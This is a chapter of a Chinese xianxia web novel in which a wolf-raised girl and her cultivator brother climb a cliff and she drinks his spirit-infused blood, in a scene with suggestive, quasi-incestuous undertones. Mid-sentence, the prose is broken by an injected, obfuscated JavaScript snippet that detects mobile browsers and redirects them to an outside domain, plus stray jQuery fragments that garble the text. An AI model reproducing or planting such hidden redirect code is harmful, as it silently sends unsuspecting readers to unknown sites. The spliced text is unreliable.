男修士瞪大眼睛,嘴巴张着半晌合不上,不敢相信自己听到了什么。种种问题到了嘴边,却没一句敢说。 夜色已深,阴影笼罩之处,江玄肃那双如墨的眼睛明明含着微笑,却令他心里无端发憷, 几步开外就是千斤重的木桩,男修士总觉得自己再不走,那东西会被江玄肃拿来灭口。 一旁女修士同样脸色懵懂,两人你拽我我拉你,对江玄肃胡乱行了一礼,揣着天大的秘密溜了。 阿柳望着二人走进驿站,直到周围再无响动。 他们自始至终没有回头。 也没对她说谢谢。 夜色如水,寂静无声。 随后,阿柳将手里的彩灯笼抛在地上,垂头踢了它一脚,看着它滚到几步开外。 方才在外人面前一副天骄姿态的少年郎,此刻却呆站在一旁,陪她一起垂头看那站满灰土的灯笼。 声音也是哑的。 “阿柳……你还在生我的气吗?” 16. 16 阿柳并不回答,径自走向放倒的粗木桩。 江玄肃把她的沉默当成答案,不再多问,却还是亦步亦趋跟在她身后。 阿柳俯身围抱木桩,憋着一口气手臂发力,木桩纹丝不动。 没等江玄肃动用灵息帮她,她已经松手,然后席地坐下,视线扫过木桩和灯笼,又转回身,一一仔细打量巨大的壁画、峡谷入口的界碑和石牌楼。 江玄肃走过去,分膝蹲在她身旁。 从未见阿柳用这样认真的表情思索什么,她甚至不防备江玄肃靠近她,不屑用龇牙皱鼻的方式对他表示敌意。 有更重要的事牵住她的注意力,所以…… 阿柳不在乎他了。 江玄肃像被灌了一剂苦药,喉头牵动,刚要叫她,阿柳突然转头和他说话。 “在你们这里,丹田,很重要;懂你们的规矩,很重要;被别人认识,很重要;做官,很重要。” 阿柳慢慢想着,一个词一个词地说,遇到不知如何形容的词,先用凡界学来的话代替。 最后她摸了摸颈侧的胎记:“我只有这个,没有那些东西,所以我不重要。司剑,重要;阿柳,不重要。” 江玄肃不假思索:“阿柳很重要。” 阿柳摇头:“只有你这么觉得。” 江玄肃固执地说:“我会让所有人都认可这件事。” 阿柳还在回味自己思考出来的道理,想了半晌,觉得想通了,一挺身站起来,拍拍手上的灰,最后才瞥一眼江玄肃。 “要你管,我又不是你的。” 她朝着与驿站相反的方向走去。 江玄肃没急着拦着她,追过去重申:“怎么不是,你是我妹妹,我是你兄长,你是我的,我也是你的。一荣俱荣,一损俱损。” 阿柳大声说:“听不懂!” 她站定,仰头看拔地而起的山壁,在朦胧的夜光里找出一条登顶的路,一边观测路线,一边活动手脚。 江玄肃还欲说些什么,面前一阵风掠过,阿柳已经跃身而上,一路踩着山石、攀着横枝,往高处爬去。 山壁有数百丈高,陡峭危险,阿柳没有丹田,无法操纵灵息,全凭手脚攀爬,想抵达崖顶,至少需要小半个时辰。 在这过程中,一旦失手跌落,没有灵息护体,非死即残。 然而这样的山壁阿柳曾爬过千百遍,时隔六年再次动身,她的身形比原来还要矫健。 比谁强,比谁弱,有丹田,无丹田,种种烦忧都成了垫脚的山岩,一块一块地踏过去,甩在下方,不再低头看。 越往上,视野里逼仄的山壁越少,夜空越显开阔,下方隐隐传来响动,阿柳却已心无旁骛,一鼓作气翻越而上,抵达峰顶。 山风呼啸,吹得衣摆猎猎飞舞,阿柳朝外看去,马道延展,通往她来时途经的城镇,视野尽头隐约可见城镇里星星点点的灯火。 再转身看未曾抵达的另一边,墨蓝夜空之下,高矮山头绵延起伏,河流在低处弯曲而过,月光下像银色的绸带。 阿柳垂眼看自己的双手。 六年过去,不与旁人比较,只看自己,她已经成长得足够多。 呼吸间嗅到山林里种种新鲜的气味,若是现在的她进入其中,能捕到的猎物一定比当年更大、更好。 她心境陡然开阔,脚踩在巨石上,仰头望着夜空中的月亮,一股幼时习得的冲动从喉咙里往外涌。 刚张嘴,背后一阵风旋过,灵息与草木混合的香味笼罩而来,温热的掌心将她半张脸盖住。 江玄肃从未像这样一心二用地登山,不但不能借灵息飞快地登顶,还要跟在阿柳身后,时时提防她失足跌落。 好不容易到了山顶,没来得及平复气息,就看到她要出声学狼嗥。 情急之下,顾不上男女之防,他扑过去将她的嘴捂上了。 站在这里放声狼嗥,谷底的人一定能听见。 师傅可不知道他和阿柳跑了这么远。 他本就对阿柳有偏见,要是知道自己出来寻她,不但没把她带回去,反而跟着她四处乱跑去了山顶,只怕又要苛责阿柳。 回过神来,阿柳竟没有挣扎,就这样把脸埋在他手掌里,眼睛映着两汪安静的月光。 江玄肃动作一滞,比起松手,先一步做出反应的是嘴:“你不生我的气了?” 掌心里,两瓣柔软的唇蹭过皮肤,声音被闷着听不清,江玄肃如遭火烧般松了手。 阿柳不管他的反应,径自在山顶巨石的背风处坐下:“没丹田,打不过,生气也没用。” 窝囊的一句话,她却说得坦荡而气势凛然。 还有后半句没讲出口。 狼群生存的关键要义:打不过,还可以跑。 天下这么大,总有容身之处,在烛南宗里做个没有丹田受人欺负的异类,不如去凡界做欺负别人的异类。 她枕着山石,望着夜空,不再对江玄肃多说。 如果要跑,一定是趁他不备偷偷跑,万一被追上,只怕下场会很不好。 “你很聪明,学东西也快,只是起步晚些。不论旁人怎么说,我信你能成大器。” 江玄肃走过去,权衡片刻,不顾满地尘土,竟也在阿柳身侧坐下了。 阿柳问:“大器大器,什么样才算成大器?” 像他那样吗? 走到哪里都有人认出他,出手就能救人,然后再被对方千恩万谢,所有人都觉得他适合司剑的位置,适合做壁画上的人。 她也用彩灯笼试过了,却没觉出乐趣。 江玄肃思忖着总结:“品性优良,实力超群,能护佑一方平安,为众人榜样。” 阿柳如听天书,早知就不问了,嘟囔:“又不能吃,也不好玩。我只想吃饱饭,不挨打,不受气。” 说者无心,听者有意,江玄肃总觉得阿柳最后一句在暗讽他,垂下眼睛。 “昨晚的事,你有不对,我亦有错。你要咬我出气么?” 阿柳从鼻子里哼一声,抬手枕在脑后。 “谁知道你会不会又推我,又拿东西把我捆着。” “……那是因为你先僭越。” “喜欢你,才舔你,你不领情,所以我不喜欢你了。” 明知阿柳的“喜欢”不是世人眼里的“喜欢”,江玄肃耳根却还是因为她直白的话语染上薄红。 要让他如何回答?说他想让她继续“喜欢”他么? 鼓起勇气侧头看去,阿柳早已不在乎他的反应,自顾自看月亮。 在她面前,他引以为傲的身份地位、天资修为,全都是一场空。 甚至,至今都没听她喊他一声哥哥,所谓血脉相连,只有他一人在意。 ……他所吸引她的,好像只剩这具供她嗅闻依偎的身体了。 如果连这样东西,他也不能给她,她是不是永远不会与他重修旧好了? 山风逐渐平息,四下寂静,偶尔响起山林间夜枭的嘀咕声。 阿柳耳边忽然传来窸窸窣窣的衣料摩擦声。 悄悄瞥过去,是江玄肃在解衣领的扣子。 “你说你吃灵玉后,身上会作痛,喝了有灵息的水,也会发烧,证明你的体质对灵息有感应。想要开启你的丹田,也许关窍就在这里。” 江玄肃说得很慢,条理清晰,冠冕堂皇,也不知是想用这话打动阿柳,还是为了说服自己接受即将发生的荒唐事。 “灵玉性烈,不可直接食用,灵息无形,难以控制,除非像之前那样,以水液为载体。” 山顶干燥,没有泉水取用,只有两人坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325823|183004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起。 人的身上,能流出的水液一共也只有几种。 眼泪量少难得,吮吸唾液不成体统,还有……更是伤风败俗、荒谬不堪,江玄肃脑海中只一闪念便将它们飞快排除。 思来想去,唯有一样,温热汹涌,又曾在阿柳身上验证过无害可行。 江玄肃扯松领口,眉眼低垂,神情庄严,让阿柳想起在凡界破庙里看到的,为救百姓献祭肉身的菩萨像。 颈侧,绯红的胎记下,一道新鲜的血痕引人注目,是之前梁继寒动怒时用灵息划伤的。 江玄肃指尖拂过上面,低声喃喃,又是那副催眠般的语气,只不过这次催眠的对象是他自己。 “初见那日,你似乎很喜欢我的血。我将炼化的灵息溶在血里,你饮下去,既然你被这个味道吸引,想必它对你有益。这里是钟山,我可以用灵息封闭感官,你只要老实坐着不乱来,我们这般……就不算犯禁。” 说完,江玄肃已经一本正经地盘坐好,手端放在膝上,闭目运功。 他的护腕上,灵玉开始发出微光,白雾四溢,朝着他颈侧的方向涌去。 假如忽略他敞开的领口,他这副姿势简直像在专心打坐修炼。 然而。 一滴,两滴。 含着灵息的血液从伤口渗出。 空气里,诱人的灵息香味与血液的腥甜味交织,慢慢扩散开来。 说不清这是江玄肃为阿柳量身定制的进阶秘法,还是引诱妹妹再次依赖兄长的陷阱。 出于礼法规矩,他封闭种种享受快意的感官,唯独留下痛觉,惩戒自己暗藏的私心。 颈侧,伤口原本只是轻微作痛,此刻痛感却随着灵息的灼烧愈演愈烈。 紧接着传来的,是尖锐的刺痛。 狼女脚步轻巧,灵敏地钻入他怀中,臂膊攀附他的肩膀,再把尖牙扎进他皮肉里,方便自己更好地啜饮血液。 这一次,他们不在凡界的厢房里,封闭感官后,只要不睁眼,江玄肃就可以不去看阿柳近在咫尺的脸,和沾染他血液的鲜红嘴唇,也感受不到按在他胸膛的手,正如何好奇地摩挲他的身体,嗅不到少女皮肉之下散发的温热气息。 可他唯独忘了封闭听觉。 于是,近在咫尺的地方,响起阿柳的耳语声。 她语气坦荡,像是不通男女之事的狼女在天真发问。 所说的话却如一把利刃,扎在江玄肃的羞耻心上。 “刚才,你不许我看那两个人亲热,不许那女的啃她相好的脖子。现在我们躲在这里,瞒着你师傅,让我啃你脖子……我们和他们有什么区别?” 可惜江玄肃没有睁眼。 否则,他会发现阿柳正撑着他的肩膀,脸上带着不加掩饰的恶劣嘲讽。 可笑,江玄肃成天一副兄长姿态,不许她看这个不许她看那个。 她最初在山上的十年,闲来无事就看雌兽雄兽求偶交/配,种种花样见了个遍。 后面去到人间,三教九流里言语粗俗下流的不在少数,街头巷尾苟合的男女更是被她碰上过无数对。 当初在街头,说拜天地入洞房,她听不懂。 要是说口口,她估计早就明白了。 不就是男人用口口捅女人的口口吗? 有什么好忌讳的? 眼前,江玄肃仍闭着眼,不为所动,仿佛听不见阿柳的话。 可阿柳分明看见,他没有受伤的颈侧也逐渐攀上薄红。 她要是现在把这句话原封不动地说出来,会不会吓得他这个老古板血液倒流经脉逆行? 阿柳抬手,抹去嘴角沾到的血,“嘿”地笑了声。 原本她只打算在跑路前咬江玄肃一顿出气。 现在好了,她找到他新的命门了。